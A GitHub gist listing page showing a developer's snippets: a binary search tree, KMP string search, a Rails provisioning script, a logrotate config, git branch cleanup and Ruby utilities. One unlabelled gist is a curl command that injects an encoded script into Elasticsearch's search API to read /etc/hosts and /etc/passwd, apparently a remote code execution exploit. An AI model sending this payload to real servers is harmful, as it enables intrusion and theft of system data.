Skip to content

Instantly share code, notes, and snippets.

simsicon

  • Shanghai
Block or report user

Report or block simsicon

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View bst.py
import math
class Tree:
def __init__(self, seq):
self.root = seq[0]
self.left_seq, self.right_seq = [], []
if len(seq) == 1:
self.leaf = True
self.left = None
View kmp.py
def kmp(text, pattern):
partial = [0]
for i in range(1, len(pattern)):
j = partial[i - 1]
while j > 0 and pattern[j] != pattern[i]:
j = partial[j - 1]
partial.append(j + 1 if pattern[j] == pattern[i] else j)
ret = []
@simsicon
simsicon / mlm.md
Last active Jul 14, 2016
Machine Learning Machine, 2016-07, Under 2500 USD
@simsicon
simsicon / provisioning.sh
Created May 6, 2016
A provisioning script for Rails webapp on Ubuntu 14.04 LTS
View provisioning.sh
### Install Git and build deps
sudo apt-get update
sudo apt-get install software-properties-common tmux htop curl zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev libffi-dev tcl8.5
sudo add-apt-repository ppa:git-core/ppa
sudo apt-get update
sudo apt-get install git
### Install rbenv and ruby
cd
git clone https://github.com/rbenv/rbenv.git ~/.rbenv
@simsicon
simsicon / logrotate.conf
Created Mar 24, 2016
Helpful logrotate configuration
View logrotate.conf
/var/log/app.log {
weekly
missingok
rotate 52
compress
delaycompress
notifempty
copytruncate
}
View gist:5eaf04b9c3db0ba342cb
git branch --merged master | grep -v "\* master" | grep -v "develop" | xargs -n 1 git branch -d
git branch -r --merged master | grep -v ">" | grep -v "develop" | grep -v "master" | sed 's/ *origin\///' | xargs -n 1 git push origin --delete
View gist:5430754332730a365cc0
$.ajax
type: 'GET'
url: "http://crossdomain.com/data"
async: true
contentType: "application/json"
dataType: 'jsonp'
jsonpCallback: 'success_jsonpCallback'
success: (response) ->
console.log( response )
View gist:fc5ca57164dbd37be8f9
curl http://localhost:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery1111003201273805461824_1400992064967&_=1400992064968
@simsicon
simsicon / time.rb
Last active Aug 29, 2015
Relative Time Dilation
View time.rb
#
# http://en.wikipedia.org/wiki/Time_dilation
#
C = 300000.0
SECONDS_IN_YEAR = 365 * 24 * 3600
def calculate(v, delta_t)
relative_v = ( v * v ) / ( C * C )
denominator = Math.sqrt( 1 - relative_v ).to_f
@simsicon
simsicon / query.rb
Created Mar 13, 2014
Mongoid doesn't support find_in_batches, this is a work around for it.
View query.rb
per_batch = 10
0.step(User.count, per_batch) do |offset|
puts User.limit(per_batch).skip(offset).map(&:username).inspect
end
You can’t perform that action at this time.